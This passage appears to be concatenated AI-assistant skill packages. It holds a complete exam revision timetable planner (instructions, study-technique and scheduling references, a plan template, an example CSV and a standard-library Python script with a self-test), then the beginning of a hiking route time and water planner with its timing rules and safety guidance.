bad = any(f["severity"] == "HIGH" for f in rep["findings"]) or any(not t["pass"] for t in rep["tests"])
return 1 if bad else 0
if __name__ == "__main__":
sys.exit(main())Builds a day-by-day exam revision timetable from your exam dates, subject weights and confidence. Splits study hours into focused sessions, gives weak and heavy subjects more time, interleaves subjects, switches to practice questions in the last week before each exam, puts a timed past paper the day before, and respects rest and off days. Flags too few sessions per topic and back-to-back exams. Includes a stdlib Python planner with --self-test.
---
name: exam-revision-timetable-planner
description: Builds a day-by-day exam revision timetable from your exam dates, subject weights and confidence. Splits study hours into focused sessions, gives weak and heavy subjects more time, interleaves subjects, switches to practice questions in the last week before each exam, puts a timed past paper the day before, and respects rest and off days. Flags too few sessions per topic and back-to-back exams. Includes a stdlib Python planner with --self-test.
---
# Exam Revision Timetable Planner
You help students turn a stressful exam season into a realistic plan: which subject to study in each session, every day, until the last exam. You use evidence-based techniques (spacing, retrieval practice, interleaving, past papers), keep the plan humane with rest and sleep, and make the trade-offs visible when there is not enough time for everything.
## Files in this skill
- `scripts/revision_plan.py` - reads a subjects CSV and prints the subject table, a day-by-day timetable and findings (Python 3 standard library only)
- `references/study-techniques.md` - what to do inside a session: retrieval practice, spacing, interleaving, past papers, and what to avoid
- `references/scheduling-rules.md` - how the script assigns priorities, targets, session types and findings, and how to tune it
- `templates/revision-plan.md` - the plan to hand back: overview, weekly timetable, session routine, check-in points
- `examples/winter-exams.csv` - five university exams between 2 and 11 December with topic counts
## Workflow
### 1. Gather the facts
Ask for each exam: subject, date, how much it counts (credits, percentage of the final grade, or importance 1-5), confidence from 1 (lost) to 5 (solid), and the number of topics or chapters. Then ask for the first revision day, realistic hours on weekdays and weekends (after classes, work, commute), preferred session length (50/10 by default, 25/5 Pomodoro for low focus), a weekly rest day and any days that are already taken.
### 2. Run the planner
```
python3 scripts/revision_plan.py examples/winter-exams.csv --start 2026-11-16 --weekday-hours 3 --weekend-hours 5 --rest-day Sun --off 2026-11-21 --day-start 16:00
python3 scripts/revision_plan.py my-exams.csv --start 2026-05-04 --session-min 25 --break-min 5 --json
python3 scripts/revision_plan.py --self-test
```
Exit code 1 means a HIGH finding (fewer sessions than topics), 2 means bad input.
### 3. Fix the trade-offs
For UNDER_COVERED or TIGHT: add hours, start earlier, lower the target for strong subjects, or agree which low-yield topics to skim (use the syllabus weighting or past-paper frequency). For BACK_TO_BACK: move the second subject's practice before the first exam. Check the plan with the student: is it doable on a bad day? Leave slack rather than cramming every evening.
### 4. Deliver
Fill `templates/revision-plan.md`: the overview table, the timetable by week, the session routine from `references/study-techniques.md`, and two check-in dates to re-rate confidence and rerun the script.
## Example result
For `examples/winter-exams.csv` from 16 November with 3 h on weekdays, 5 h on Saturdays, Sundays and 21 November off: 25 days, 57 sessions of 50 minutes (47.5 h). Organic Chemistry (weight 5, confidence 2) and Microeconomics (4, 2) get 15 and 16 sessions, European History (3, 4) gets 6. Each subject ends with practice questions and a timed past paper the day before its exam. Findings: Statistics (10 sessions for 8 topics) and European History (6 for 6) are TIGHT, and European History and Microeconomics are BACK_TO_BACK on 7 and 8 December.
## Rules
- Plan with the hours the student really has, not the hours they wish they had; protect sleep (no sessions late at night before exams).
- Every session ends with retrieval (questions, blank-page recall, flashcards), not only rereading or highlighting.
- Keep at least one rest day or two half days a week; burnout costs more than one lost day.
- Re-plan after each check-in or exam instead of following a broken plan.
- Do not do graded coursework for the student; help with planning and study methods. If a student shows signs of serious stress or panic, encourage them to talk to student support or a doctor.
FILE:references/study-techniques.md
# Study Techniques
What to do inside each session. Ordered by strength of evidence (Dunlosky et al. 2013, "Improving Students' Learning With Effective Learning Techniques", rated practice testing and distributed practice as high utility).
## Retrieval practice (high)
Bring information back from memory instead of reading it again: answer questions, write everything you remember on a blank page, then check against notes and fill the gaps in another colour. Flashcards work if you answer before flipping. Getting it wrong first and then correcting also helps learning.
## Spacing (high)
Spread sessions on a subject over many days instead of one long block. A simple review rhythm for each topic: the next day, after 3 days, after a week, then before the exam. The timetable interleaves subjects across days; start each session with 5 minutes of recall on the previous session of that subject to build the spacing in.
## Interleaving (moderate)
Mix problem types inside a subject (for maths and sciences: different kinds of problems in one set, not 20 of the same) so you practise choosing the method, which the exam requires.
## Past papers (high for exams)
Do at least one complete paper under timed conditions before each exam, then mark it with the official mark scheme and list the lost marks by topic. The script puts one on the day before each exam; add earlier ones if papers are available.
## Elaboration and self-explanation (moderate)
Ask "why does this work?" and "how does this connect to X?", explain a concept out loud as if teaching it, draw a concept map from memory.
## Low value on their own
Rereading, highlighting and copying notes feel productive but give little long-term gain. Use them only as a first pass before retrieval.
## Session routine (50/10 default)
1. 5 min: recall from memory what you did last time for this subject.
2. 30 min: learn or practise one topic (Learn + recall) or do questions (Practice questions).
3. 10 min: close the book and test yourself; mark what you missed.
4. 5 min: write down three questions you could not answer for next time.
5. 10 min break away from the screen: move, drink water.
For short attention spans use 25/5 sessions (`--session-min 25 --break-min 5`) and a longer break every four.
## Sleep, food and the day before
Sleep consolidates memory; all-nighters reduce exam performance. Keep the night before the exam for light review and sleep. Eat regular meals, move every day, and keep the phone in another room during sessions.
FILE:references/scheduling-rules.md
# Scheduling Rules
How `scripts/revision_plan.py` builds the timetable.
## Sessions per day
Sessions that fit in the daily hours: `floor((hours * 60 + break) / (session + break))`. With 50/10 sessions: 3 h -> 3 sessions, 5 h -> 5 sessions. Rest days (`--rest-day`) and `--off` dates have none. On an exam day only half the sessions are planned (the exam takes the rest), and only for later exams.
## Priority and target
- priority = weight x (6 - confidence). Weight 5, confidence 2 -> 20; weight 3, confidence 4 -> 6.
- target sessions = all sessions available before that exam x priority / sum of all priorities (at least 1).
Weight can be credits or a 1-5 importance score; only the ratios matter, so use the same scale for every subject.
## Choosing each session
For every session the script picks among subjects whose exam is still ahead and that have fewer than `--max-same` (default 2) sessions that day:
1. subjects still below their target first;
2. then a different subject from the previous session (interleaving);
3. then the highest remaining need per day left until the exam;
4. ties go to the higher priority, then the earlier exam.
The day before an exam starts with a timed past paper for that subject.
## Session types
- Learn + recall: until 60 % of the subject's target is done and more than 7 days before its exam.
- Mixed review: after 60 % of the target, more than 7 days out.
- Practice questions: in the last 7 days before the exam.
- Past paper (timed): the day before the exam.
## Findings
| Code | Severity | Rule | Typical fix |
|---|---|---|---|
| UNDER_COVERED | HIGH | sessions < topics | more hours, earlier start, skim low-yield topics |
| TIGHT | MEDIUM | sessions < 1.5 x topics | accept a single pass, or take time from strong subjects |
| BELOW_TARGET | MEDIUM | planned < 60 % of target | the exam is early; start that subject first |
| BACK_TO_BACK | MEDIUM | exams on consecutive days | front-load practice for the second exam |
| SAME_DAY | MEDIUM | two exams on one day | treat both as one block in the last week |
| NO_REST_DAY | LOW | plan > 10 days with no rest day or off days | add `--rest-day` |
| LONG_DAYS | LOW | more than 8 h a day | cap at 5-6 focused hours |
## Tuning
- More time for one subject: raise its weight or lower its confidence and rerun.
- Fewer subject switches: `--max-same 3`.
- Clock times: `--day-start 09:00` adds start and end times, with breaks between sessions.
- Re-plan: after each check-in, update confidence and `--start`, and rerun; finished exams drop out of the CSV.
FILE:templates/revision-plan.md
# Revision plan: <name>, <exam season>
**Period:** <16 Nov to 11 Dec 2026> **Hours:** <3 h weekdays, 5 h Saturdays> **Rest:** <Sundays + 21 Nov>
**Sessions:** <57 x 50 min (47.5 h)> **Session rhythm:** <50 min study / 10 min break>
## Exams and priorities
| Subject | Exam | Weight | Confidence | Topics | Sessions planned | Notes |
|---|---|---|---|---|---|---|
| <Organic Chemistry> | <Wed 2 Dec> | <5> | <2> | <9> | <15> | <past paper 1 Dec> |
## Week 1: <16-22 Nov>
| Day | Session 1 | Session 2 | Session 3 | Session 4 | Session 5 |
|---|---|---|---|---|---|
| <Mon 16 Nov> | <16:00 Organic Chemistry: Learn> | <17:00 Microeconomics: Learn> | <...> | | |
## Week 2: <...>
<...>
## Session routine
1. 5 min recall of last session (blank page)
2. 30 min learn or practise one topic
3. 10 min self-test, mark the misses
4. 5 min: three open questions for next time
5. 10 min break away from the screen
## Trade-offs agreed
- <Statistics is TIGHT: one full pass, second pass only on topics 5-8 (most marks in past papers)>
- <European History / Microeconomics back to back: Microeconomics practice done by 5 Dec>
## Check-ins
- <Sun 22 Nov>: re-rate confidence 1-5 per subject, rerun the planner
- <Sun 29 Nov>: same, adjust the last 10 days
## Wellbeing
- Sleep: <in bed by 23:30, no study after 22:00 the night before exams>
- Daily movement: <30 min walk>
- If it gets too much: <talk to ... / student support contact>
FILE:examples/winter-exams.csv
subject,exam_date,weight,confidence,topics
Organic Chemistry,2026-12-02,5,2,9
Statistics,2026-12-04,4,3,8
European History,2026-12-07,3,4,6
Microeconomics,2026-12-08,4,2,7
Academic English,2026-12-11,2,4,4
FILE:scripts/revision_plan.py
#!/usr/bin/env python3
"""Exam revision timetable planner (Python 3 standard library only).
Reads a CSV of subjects with exam dates, weight and confidence, splits the
available study time into focused sessions, and builds a day-by-day timetable
that gives weak, heavy subjects more time, interleaves subjects, stops new work
on a subject after its exam, moves from learning to practice questions in the
last week before each exam and puts a timed past paper on the day before.
CSV columns (header required; ; or , separated):
subject, exam_date (YYYY-MM-DD), weight (1-5 or credits), confidence (1-5), topics (optional)
Usage:
python3 revision_plan.py exams.csv --start 2026-11-16 --weekday-hours 3 --weekend-hours 5
python3 revision_plan.py exams.csv --start 2026-11-16 --rest-day Sun --off 2026-11-28,2026-11-29 --day-start 16:00
python3 revision_plan.py --self-test
Exit codes: 0 = plan fits, 1 = HIGH findings (not enough sessions), 2 = bad input.
"""
import argparse, csv, datetime as dt, io, json, sys
DAYS = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"]
SEV = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class InputError(Exception):
pass
def parse_date(s, what):
try:
return dt.date.fromisoformat(s.strip())
except ValueError:
raise InputError(f"{what} '{s}' must be YYYY-MM-DD")
def read_subjects(text):
sample = text[:2000]
delim = ";" if sample.count(";") > sample.count(",") else ","
rd = csv.DictReader(io.StringIO(text), delimiter=delim)
if not rd.fieldnames:
raise InputError("empty CSV")
fields = [f.strip().lower() for f in rd.fieldnames]
missing = [c for c in ("subject", "exam_date", "weight", "confidence") if c not in fields]
if missing:
raise InputError("missing columns: " + ", ".join(missing))
subs = []
for i, raw in enumerate(rd, start=2):
r = {k.strip().lower(): (v or "").strip() for k, v in raw.items() if k}
if not any(r.values()):
continue
try:
w = float(r["weight"].replace(",", "."))
c = int(r["confidence"])
t = int(r["topics"]) if r.get("topics") else None
except ValueError:
raise InputError(f"row {i}: weight, confidence and topics must be numbers")
if w <= 0:
raise InputError(f"row {i}: weight must be positive")
if not 1 <= c <= 5:
raise InputError(f"row {i}: confidence must be 1 (weak) to 5 (strong)")
if not r["subject"]:
raise InputError(f"row {i}: subject is empty")
subs.append({"subject": r["subject"], "exam": parse_date(r["exam_date"], f"row {i}: exam_date"),
"weight": w, "confidence": c, "topics": t})
if not subs:
raise InputError("no subjects in CSV")
return subs
def slots_for(hours, session, brk):
"""Number of sessions that fit in `hours` with a break between sessions."""
mins = hours * 60
if mins < session:
return 0
return int((mins + brk) // (session + brk))
def plan(subs, start, weekday_hours=3.0, weekend_hours=5.0, session=50, brk=10, rest_day=None,
off=(), max_same=2, day_start=None):
if session < 15 or brk < 0:
raise InputError("session must be at least 15 minutes and break not negative")
for s in subs:
if s["exam"] <= start:
raise InputError(f"{s['subject']}: exam {s['exam']} is not after the start date {start}")
last = max(s["exam"] for s in subs)
exam_days = {}
for s in subs:
exam_days.setdefault(s["exam"], []).append(s["subject"])
for s in subs:
s["priority"] = s["weight"] * (6 - s["confidence"])
days = []
d = start
while d < last:
if d in off or (rest_day is not None and d.weekday() == rest_day):
n = 0
else:
n = slots_for(weekend_hours if d.weekday() >= 5 else weekday_hours, session, brk)
if d in exam_days:
n //= 2 # the exam takes half the day
days.append((d, n))
d += dt.timedelta(days=1)
# target sessions: share of the slots available before each exam, by priority
total_p = sum(s["priority"] for s in subs)
for s in subs:
before = sum(n for day, n in days if day < s["exam"])
s["target"] = max(1, round(before * s["priority"] / total_p))
s["planned"] = 0
timetable = []
for day, n in days:
today, used = [], {}
live = [s for s in subs if s["exam"] > day]
# the day before an exam: a timed past paper first
for s in live:
if (s["exam"] - day).days == 1 and len(today) < n:
today.append((s["subject"], "Past paper (timed)")); used[s["subject"]] = 1; s["planned"] += 1
while len(today) < n:
cands = [s for s in live if used.get(s["subject"], 0) < max_same]
if not cands:
break
prev = today[-1][0] if today else None
def score(s):
days_left = max(1, (s["exam"] - day).days)
need = (s["target"] - s["planned"]) / days_left
# subjects still below target first, then interleave (avoid repeating the previous subject)
return (s["planned"] < s["target"], s["subject"] != prev, need, s["priority"], -s["exam"].toordinal())
s = max(cands, key=score)
left = (s["exam"] - day).days
kind = "Practice questions" if left <= 7 else ("Learn + recall" if s["planned"] < s["target"] * 0.6 else "Mixed review")
today.append((s["subject"], kind)); used[s["subject"]] = used.get(s["subject"], 0) + 1; s["planned"] += 1
timed = []
t = day_start
for subj, kind in today:
if t is not None:
end = t + session
timed.append({"subject": subj, "kind": kind, "time": f"{t // 60:02d}:{t % 60:02d}-{end // 60:02d}:{end % 60:02d}"})
t = end + brk
else:
timed.append({"subject": subj, "kind": kind})
timetable.append({"date": day.isoformat(), "dow": DAYS[day.weekday()], "exams": exam_days.get(day, []), "sessions": timed})
findings = []
for s in subs:
if s["topics"]:
if s["planned"] < s["topics"]:
findings.append(("HIGH", "UNDER_COVERED", f"{s['subject']}: {s['planned']} sessions for {s['topics']} topics; add hours, drop low-yield topics or start earlier"))
elif s["planned"] < 1.5 * s["topics"]:
findings.append(("MEDIUM", "TIGHT", f"{s['subject']}: {s['planned']} sessions for {s['topics']} topics leaves little time for a second pass"))
if s["planned"] < 0.6 * s["target"]:
findings.append(("MEDIUM", "BELOW_TARGET", f"{s['subject']}: {s['planned']} of {s['target']} target sessions fit before the exam"))
dates = sorted(exam_days)
for a, b in zip(dates, dates[1:]):
if (b - a).days <= 1:
findings.append(("MEDIUM", "BACK_TO_BACK", f"exams on {a} ({', '.join(exam_days[a])}) and {b} ({', '.join(exam_days[b])}); finish the second subject's practice before the first exam"))
for day, subjects in exam_days.items():
if len(subjects) > 1:
findings.append(("MEDIUM", "SAME_DAY", f"{len(subjects)} exams on {day}: {', '.join(subjects)}"))
if rest_day is None and len(days) > 10 and not off:
findings.append(("LOW", "NO_REST_DAY", "no rest day in a plan longer than 10 days; take at least half a day off each week"))
if max(weekday_hours, weekend_hours) > 8:
findings.append(("LOW", "LONG_DAYS", "more than 8 hours of revision a day rarely stays productive; keep 5-6 focused hours"))
findings.sort(key=lambda f: SEV[f[0]])
total_sessions = sum(len(t["sessions"]) for t in timetable)
return {
"subjects": [{"subject": s["subject"], "exam": s["exam"].isoformat(), "weight": s["weight"], "confidence": s["confidence"],
"priority": s["priority"], "topics": s["topics"], "target": s["target"], "planned": s["planned"],
"hours": round(s["planned"] * session / 60, 1)} for s in sorted(subs, key=lambda x: x["exam"])],
"summary": {"start": start.isoformat(), "last_exam": last.isoformat(), "days": len(days), "sessions": total_sessions,
"study_hours": round(total_sessions * session / 60, 1), "session_min": session, "break_min": brk},
"timetable": timetable,
"findings": [{"severity": a, "code": b, "message": c} for a, b, c in findings],
}
def to_markdown(p):
s = p["summary"]
out = ["# Revision timetable", "",
f"{s['start']} to {s['last_exam']}: {s['days']} days, {s['sessions']} sessions of {s['session_min']} min ({s['study_hours']} h of focused study), {s['break_min']} min breaks",
"", "| Subject | Exam | Weight | Confidence | Priority | Topics | Target | Planned | Hours |", "|---|---|---|---|---|---|---|---|---|"]
for x in p["subjects"]:
out.append(f"| {x['subject']} | {x['exam']} | {x['weight']:g} | {x['confidence']} | {x['priority']:g} | {x['topics'] or '-'} | {x['target']} | {x['planned']} | {x['hours']} |")
out += ["", "## Day by day", ""]
for t in p["timetable"]:
head = f"- **{t['dow']} {t['date']}**" + (f" (EXAM: {', '.join(t['exams'])})" if t["exams"] else "")
if not t["sessions"]:
out.append(head + ": rest")
continue
parts = [(f"{x['time']} " if "time" in x else "") + f"{x['subject']} ({x['kind']})" for x in t["sessions"]]
out.append(head + ": " + "; ".join(parts))
out += ["", "## Findings"]
out += [f"- {f['severity']} {f['code']}: {f['message']}" for f in p["findings"]] or ["- none"]
out += ["", "Start each session with 5 minutes of recall from memory on the previous session of that subject, and end with 3 questions you could not answer."]
return "\n".join(out)
def self_test():
res = []
def check(name, cond):
res.append(cond)
print(("PASS " if cond else "FAIL ") + name)
D = dt.date
S = lambda name, exam, w=1, c=3, t=None: {"subject": name, "exam": exam, "weight": w, "confidence": c, "topics": t}
check("slots: 3 h of 50+10 = 3", slots_for(3, 50, 10) == 3)
check("slots: 50 min fits exactly 1", slots_for(50 / 60, 50, 10) == 1)
check("slots: under one session = 0", slots_for(0.5, 50, 10) == 0)
check("slots: 25+5 in 2 h = 4", slots_for(2, 25, 5) == 4)
p = plan([S("A", D(2026, 1, 8))], D(2026, 1, 5), weekday_hours=2, weekend_hours=2, session=50, brk=10)
check("no sessions on or after exam day", all(t["date"] < "2026-01-08" for t in p["timetable"]))
check("day before exam starts with past paper", p["timetable"][-1]["sessions"][0]["kind"] == "Past paper (timed)")
check("practice questions in last 7 days", all(x["kind"] != "Learn + recall" for t in p["timetable"] for x in t["sessions"]))
subs = [S("Weak", D(2026, 3, 1), w=3, c=1), S("Strong", D(2026, 3, 1), w=3, c=5)]
p = plan(subs, D(2026, 2, 1), weekday_hours=3, weekend_hours=3, max_same=3)
pl = {x["subject"]: x["planned"] for x in p["subjects"]}
check("weak subject gets more sessions", pl["Weak"] > 3 * pl["Strong"])
check("priority = weight x (6 - confidence)", p["subjects"][0]["priority"] in (15, 3))
p = plan([S("A", D(2026, 3, 1)), S("B", D(2026, 3, 1))], D(2026, 2, 1), weekday_hours=3, weekend_hours=3)
check("max 2 sessions of one subject per day", all(
sum(1 for x in t["sessions"] if x["subject"] == subj) <= 2 for t in p["timetable"] for subj in "AB"))
check("subjects interleaved while both need time", all(t["sessions"][i]["subject"] != t["sessions"][i + 1]["subject"]
for t in p["timetable"][:10] for i in range(len(t["sessions"]) - 1)))
p = plan([S("A", D(2026, 2, 16))], D(2026, 2, 2), rest_day=6)
check("rest day empty", all(not t["sessions"] for t in p["timetable"] if t["dow"] == "Sun"))
p = plan([S("A", D(2026, 2, 6))], D(2026, 2, 2), off={D(2026, 2, 3)})
check("off day empty", not [t for t in p["timetable"] if t["date"] == "2026-02-03"][0]["sessions"])
p = plan([S("A", D(2026, 2, 5)), S("B", D(2026, 2, 9))], D(2026, 2, 2), weekday_hours=4)
day5 = [t for t in p["timetable"] if t["date"] == "2026-02-05"][0]
check("exam day: half the slots, other subject only", len(day5["sessions"]) == 2 and all(x["subject"] == "B" for x in day5["sessions"]))
p = plan([S("A", D(2026, 2, 5), t=20)], D(2026, 2, 2))
check("UNDER_COVERED HIGH", p["findings"][0]["code"] == "UNDER_COVERED")
p = plan([S("A", D(2026, 2, 20), t=11)], D(2026, 2, 2), weekday_hours=1, weekend_hours=1, rest_day=6)
check("TIGHT", any(f["code"] == "TIGHT" for f in p["findings"]))
p = plan([S("A", D(2026, 2, 9)), S("B", D(2026, 2, 10)), S("C", D(2026, 2, 10))], D(2026, 2, 2))
codes = [f["code"] for f in p["findings"]]
check("BACK_TO_BACK and SAME_DAY", "BACK_TO_BACK" in codes and "SAME_DAY" in codes)
check("NO_REST_DAY", "NO_REST_DAY" in [f["code"] for f in plan([S("A", D(2026, 3, 1))], D(2026, 2, 1))["findings"]])
check("LONG_DAYS", "LONG_DAYS" in [f["code"] for f in plan([S("A", D(2026, 2, 5))], D(2026, 2, 2), weekend_hours=10)["findings"]])
p = plan([S("A", D(2026, 2, 5))], D(2026, 2, 2), day_start=9 * 60)
check("clock times with --day-start", p["timetable"][0]["sessions"][1]["time"] == "10:00-10:50")
subs = read_subjects("subject;exam_date;weight;confidence;topics\nMaths;2026-12-03;4,5;2;9\n")
check("semicolon CSV + decimal comma", subs[0]["weight"] == 4.5 and subs[0]["topics"] == 9)
for bad, why in [("subject,exam_date\nA,2026-01-01\n", "missing columns"),
("subject,exam_date,weight,confidence\nA,2026-13-01,1,3\n", "bad date"),
("subject,exam_date,weight,confidence\nA,2026-01-01,1,9\n", "confidence out of range"),
("subject,exam_date,weight,confidence\nA,2026-01-01,x,3\n", "non-number")]:
try:
read_subjects(bad); check("rejects " + why, False)
except InputError:
check("rejects " + why, True)
try:
plan([S("A", D(2026, 1, 1))], D(2026, 1, 1)); check("rejects exam not after start", False)
except InputError:
check("rejects exam not after start", True)
passed = sum(res)
print(f"{passed}/{len(res)} passed")
return 0 if passed == len(res) else 1
def main():
ap = argparse.ArgumentParser(description="Exam revision timetable planner")
ap.add_argument("csv", nargs="?", help="subjects CSV")
ap.add_argument("--start", help="first revision day YYYY-MM-DD (default today)")
ap.add_argument("--weekday-hours", type=float, default=3.0)
ap.add_argument("--weekend-hours", type=float, default=5.0)
ap.add_argument("--session-min", type=int, default=50, help="focused session length (default 50)")
ap.add_argument("--break-min", type=int, default=10, help="break between sessions (default 10)")
ap.add_argument("--rest-day", choices=DAYS, help="weekly day off")
ap.add_argument("--off", default="", help="comma-separated dates with no revision (YYYY-MM-DD)")
ap.add_argument("--max-same", type=int, default=2, help="max sessions of one subject per day (default 2)")
ap.add_argument("--day-start", help="clock time of the first session HH:MM (adds times to the timetable)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.csv:
ap.error("give a CSV, or --self-test")
try:
with open(a.csv, encoding="utf-8-sig") as fh:
subs = read_subjects(fh.read())
start = parse_date(a.start, "--start") if a.start else dt.date.today()
off = {parse_date(x, "--off") for x in a.off.split(",") if x.strip()}
ds = None
if a.day_start:
try:
h, m = map(int, a.day_start.split(":")); assert 0 <= h < 24 and 0 <= m < 60
except Exception:
raise InputError("--day-start must be HH:MM")
ds = h * 60 + m
p = plan(subs, start, a.weekday_hours, a.weekend_hours, a.session_min, a.break_min,
DAYS.index(a.rest_day) if a.rest_day else None, off, a.max_same, ds)
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(p, indent=2) if a.json else to_markdown(p))
return 1 if any(f["severity"] == "HIGH" for f in p["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Plans a day hike leg by leg. Estimates time with Naismith's rule and Langmuir's descent corrections, adjusted for terrain, fitness, pack weight and breaks, gives clock times for each leg, checks the finish against sunset and the latest safe start, and works out water to carry between refills and snacks to pack. Flags after-dark finishes, long dry stretches and hard terrain late in the day. Includes a stdlib Python planner with --self-test.
---
name: hiking-route-time-and-water-planner
description: Plans a day hike leg by leg. Estimates time with Naismith's rule and Langmuir's descent corrections, adjusted for terrain, fitness, pack weight and breaks, gives clock times for each leg, checks the finish against sunset and the latest safe start, and works out water to carry between refills and snacks to pack. Flags after-dark finishes, long dry stretches and hard terrain late in the day. Includes a stdlib Python planner with --self-test.
---
# Hiking Route Time and Water Planner
You help hikers turn a route into a realistic timetable: when they will reach each point, whether they finish in daylight, and how much water and food to carry. You show the rule behind each number, prefer conservative estimates, and always leave room for a slower day. You are not a substitute for local knowledge, a map or a weather forecast, and you say so when it matters.
## Files in this skill
- `scripts/hike_plan.py` - reads a legs CSV and prints a timetable, daylight check, water per stretch, food and findings (Python 3 standard library only)
- `references/time-rules.md` - Naismith's rule, Langmuir's corrections, terrain/fitness/pack factors, breaks and how to calibrate them
- `references/water-food-and-safety.md` - drinking rates, refill planning and water treatment, snacks, daylight margins, turnaround times and the safety checklist
- `templates/hike-plan.md` - the plan to share with the group and leave with a contact at home
- `examples/eagle-ridge-loop.csv` - a 22 km late-October loop with a scramble section and one refill point
## Workflow
### 1. Split the route into legs
Ask for the route (map app or guidebook), the date, and the group: pace, fitness, youngest or slowest member, pack weight. Split the route at summits, passes, huts, junctions and water sources; for each leg get the distance, ascent and descent (from the app's elevation profile) and the terrain type (road, path, rough, scramble, snow, bushwhack). Mark where water can be refilled. Get the sunset time for the date and place, and the forecast temperature.
### 2. Run the planner
```
python3 scripts/hike_plan.py examples/eagle-ridge-loop.csv --start 09:30 --sunset 17:20 --temp 24 --fitness 1.1 --pack-kg 9
python3 scripts/hike_plan.py my-route.csv --start 07:00 --sunset 20:45 --temp 31 --break-min 15 --json
python3 scripts/hike_plan.py --self-test
```
Exit code 1 means a HIGH finding (finish after sunset), 2 means bad input.
### 3. Adjust the plan
For AFTER_DARK or SMALL_MARGIN: start earlier (the script prints the latest sensible start), shorten the route, or pick a bail-out point and a turnaround time. For LONG_DRY_STRETCH: add a refill, carry more capacity, or move the long climb to the cool morning. For HARD_TERRAIN_LATE: reverse the loop so the scramble comes first. Explain the formulas from `references/time-rules.md` when asked, and suggest calibrating the fitness factor after the first leg.
### 4. Deliver
Fill `templates/hike-plan.md`: timetable with clock times, turnaround time, water and food list, bail-out options and the emergency details to leave with someone at home.
## Example result
For `examples/eagle-ridge-loop.csv` (22.2 km, +1170 m / -1150 m) starting 09:30 at fitness 1.1 and 24 C: 7h08 moving, 8h19 with breaks, finish about 17:49, which is 29 minutes after the 17:20 sunset (HIGH AFTER_DARK; latest sensible start 08:01). The first four legs have no water, so 4.4 L must be carried (MEDIUM LONG_DRY_STRETCH). Starting at 08:00 finishes at 16:19 with 61 minutes to spare; the water stretch remains, so the plan adds a 2 L bladder or a cached bottle at Pine Saddle.
## Rules
- Estimates are a starting point: tell the group to compare the real time on the first leg with the plan and rescale.
- Keep at least 60 minutes of daylight in hand, and a headlamp in every pack all year.
- Never suggest drinking untreated water; recommend filtering or treating any natural source.
- Weather, snow, river crossings and route conditions override any timetable: tell users to check the forecast and local reports, and to turn back when conditions change.
- Do not give medical advice beyond basic hydration and food guidance; point to first-aid training and local rescue numbers.
FILE:references/time-rules.md
# Time Rules
## Naismith's rule (1892)
Allow 1 hour for every 5 km on the flat plus 1 hour for every 600 m of ascent (the original was 3 miles per hour plus 1 hour per 2000 ft).
```
moving minutes = distance_km / pace_kmh * 60 + ascent_m / 10
```
Example: 4.2 km with 380 m of ascent = 50.4 + 38 = 88 minutes before adjustments.
## Langmuir's corrections for descent
Naismith treats descent like the flat. Langmuir refined it:
- gentle descent, 5 to 12 degrees (about 9 to 21 %): subtract 10 minutes per 300 m of descent
- steep descent, more than 12 degrees: add 10 minutes per 300 m of descent
- under 5 degrees: no change
The script estimates the descent angle from the descent and the share of the leg's distance spent going down. It never lets a leg drop below half its flat time.
## Multipliers used by the script
| Factor | Value | When |
|---|---|---|
| Terrain road | 0.9 | Paved or forest road |
| Terrain path | 1.0 | Good footpath |
| Terrain rough | 1.25 | Rocky, rooty, loose or boggy path |
| Terrain scramble | 1.6 | Hands needed, exposed steps |
| Terrain snow | 1.5 | Soft or old snow without crampon work |
| Terrain bushwhack | 1.6 | No path, vegetation |
| Fitness | 0.85 / 1.0 / 1.2 / 1.4 | Fast and fit / average / relaxed or mixed group / young children |
| Pack | +2 % per kg above 10 kg | Overnight or heavy loads |
| Breaks | 10 min per hour (default) | Use 15 to 20 for photo walks, families, big groups |
Terrain multiplies the whole leg, including the climbing time.
## Calibrating
After the first leg, divide the real time by the planned time. If the group took 1h50 for a planned 1h37, the factor is 1.13: rerun with `--fitness` multiplied by that and check the finish again. Groups move at the pace of the slowest person; plan for them.
## Other rules you may meet
- Tranter's corrections: a fitness and fatigue table on top of Naismith, used for long mountain days.
- Tobler's hiking function: speed = 6 * exp(-3.5 * |slope + 0.05|) km/h, used in GIS tools; it gives similar totals on mixed routes.
## Turnaround time
For an out-and-back or a route with a bail-out, set a fixed turnaround time: the latest time you can leave the farthest point and still be back with an hour of daylight. Example: sunset 17:20, keep 60 minutes, the return takes 3h10 -> turn around by 13:10 wherever you are.
FILE:references/water-food-and-safety.md
# Water, Food and Safety
## Drinking rates used by the script
| Temperature | Litres per hour (total time) |
|---|---|
| under 15 C | 0.4 |
| 15 to 24 C | 0.5 |
| 25 to 29 C | 0.75 |
| 30 C and above | 1.0 |
Plus 0.1 L per 100 m of ascent, because climbing makes you sweat more. Needs vary a lot between people; heavy sweaters, children and people at altitude may need more. Drink a little often rather than a lot at once, and add electrolytes (salt tablets, drink mix or salty snacks) on hot days or when drinking more than about 3 L.
## Carry planning
- The start and every leg marked `water_at_end = yes` are refill points.
- Carry = largest amount needed between two refill points plus a 0.5 L reserve.
- More than 3 L (3 kg) is heavy; options are caching water, choosing a route past a hut or spring, or moving the hottest climb to early morning.
- Confirm that springs and huts actually have water at that time of year (many huts close in late autumn; springs dry up in late summer).
## Treating water
Treat all natural water: a hollow-fibre filter (bacteria and protozoa), chlorine dioxide tablets (also viruses, wait the full contact time, often 30 minutes, up to 4 hours for Cryptosporidium), UV pens for clear water, or boiling for 1 minute (3 minutes above 2000 m). Filter cloudy water through a cloth first.
## Food
About 200 to 300 kcal per hour on the move keeps energy steady on a long day: nuts, bars, dried fruit, cheese, sandwiches. The script uses 250 kcal per hour of total time. Pack one extra snack per person as an emergency reserve.
## Daylight
- Get sunset for the exact place and date (weather or astronomy apps). In mountains the sun leaves valleys and east-facing slopes earlier than the official time.
- Civil twilight gives about 20 to 40 minutes of usable light after sunset in mid-latitudes, less in the tropics. Do not plan to use it.
- Keep 60 minutes of daylight in hand (the default `--margin`). Every pack gets a headlamp with charged batteries.
## Safety checklist
- Forecast checked the evening before and the morning of the hike (thunderstorms, wind on ridges, freezing level).
- Route plan, start time, turnaround time and expected return left with someone at home, with who to call and when.
- Map offline on the phone, plus a power bank; paper map and compass on remote routes.
- Layers and a waterproof jacket, hat and gloves above the tree line even in summer, sun protection.
